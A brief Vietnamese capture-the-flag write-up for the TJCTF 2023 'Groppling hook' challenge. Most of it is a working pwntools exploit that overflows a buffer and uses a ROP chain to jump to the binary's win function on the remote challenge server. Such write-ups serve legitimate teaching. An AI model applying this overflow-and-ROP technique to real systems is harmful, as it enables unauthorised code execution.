🐠Groppling hook - TJCTF2023

Challenge:

Solution

trong bài này ta chỉ cần sử dụng các ROPgadget có trong miền giá trị này: 0x401262 < x <= 0x40128a để sử dụng là chương trình sẽ không bị lỗi (thoát)

Chỉ cần pass được 2 điều kiện kiểm tra thì ta có thể lấy được flag thông qua hàm win.

(Bạn có thể dubug step by step bằng payload của tôi để hiểu rõ hơn)

from pwn import *
elf = context.binary = ELF("./out")
r = elf.process()
r = remote("tjc.tf", 31080)
# gdb.attach( r,
# '''
#     b*pwnable+101\n
#     c
# ''')
# 0x401262 < x <= 0x40128a
# 0x7fffffffdea6
pad = 18
pop_rbp_ret = 0x0000000000401284
ret = 0x000000000040101a
payload = b"A" * pad + p64(pop_rbp_ret) + p64(0x0) + p64(elf.sym["win"] + 1) + p64(elf.sym["main"])
r.sendlineafter(b"> ",payload)
r.interactive()

Solved

Last updated